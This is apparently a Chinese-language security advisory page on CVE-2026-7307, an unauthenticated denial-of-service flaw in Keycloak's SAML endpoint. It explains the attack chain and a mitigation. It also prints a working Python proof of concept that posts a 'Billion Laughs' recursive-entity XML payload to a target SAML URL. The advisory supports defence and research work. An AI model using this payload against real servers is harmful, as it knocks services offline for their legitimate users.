IPBUF安全漏洞报告
English
CVE-2026-7307 CVSS 7.5 高危

CVE-2026-7307 Keycloak SAML拒绝服务漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-7307
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

DoSKeycloakSAMLXML InjectionCVSS-7.5

漏洞概述

Keycloak中发现一处安全缺陷,未认证的远程攻击者可利用SAML端点漏洞。通过发送精心构造的恶意XML输入,攻击者能触发服务器的高CPU占用和工作线程饥饿。这种资源耗尽攻击最终导致服务器无法处理正常请求,从而引发拒绝服务,严重影响系统可用性。

技术细节

该漏洞的核心在于Keycloak处理SAML(安全断言标记语言)请求时,对XML解析器的输入验证和配置存在疏漏。攻击者利用XML解析器的特性,例如“Billion Laughs”攻击中的递归实体扩展或深度嵌套的文档结构,向SAML端点发送特制的恶意请求。当服务器尝试解析这些结构复杂的XML数据时,解析器会进行大量的递归计算或实体展开操作,导致CPU使用率瞬间飙升至100%,同时迅速耗尽服务器内存和线程池资源。由于该漏洞无需身份验证即可利用,且攻击成本极低,攻击者可以通过发送少量数据包触发服务器资源耗尽,导致工作线程全部阻塞,无法响应合法用户的请求,从而实现有效的拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者识别目标Keycloak服务器的SAML端点地址。
STEP 2
武器化
攻击者构造包含恶意XML实体扩展或深度嵌套结构的SAML请求Payload。
STEP 3
投递
攻击者通过HTTP POST请求将特制的XML数据发送至SAML端点。
STEP 4
利用
Keycloak服务器解析XML时,因处理递归实体导致CPU资源耗尽和工作线程阻塞。
STEP 5
影响
服务器因资源耗尽无法响应新的合法请求,导致服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target SAML Endpoint URL TARGET_URL = "https://target-keycloak.com/realms/master/protocol/saml" # Malicious XML payload designed to cause CPU exhaustion (e.g., Billion Laughs) # This payload expands recursively to consume all available resources. PAYLOAD = """<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> """ headers = { "Content-Type": "application/xml" } print(f"Sending DoS payload to {TARGET_URL}...") try: response = requests.post(TARGET_URL, data=PAYLOAD, headers=headers, timeout=10) print(f"Response Status Code: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - Server might be unresponsive (DoS successful).") except Exception as e: print(f"An error occurred: {e}")

影响范围

Keycloak versions affected (refer to RHSA-2026:19594, RHSA-2026:19595, RHSA-2026:19596, RHSA-2026:19597)

防御指南

临时缓解措施
在应用补丁前,建议在网络边界(如WAF或负载均衡器)限制对SAML端点的请求速率和请求体大小,以缓解攻击影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表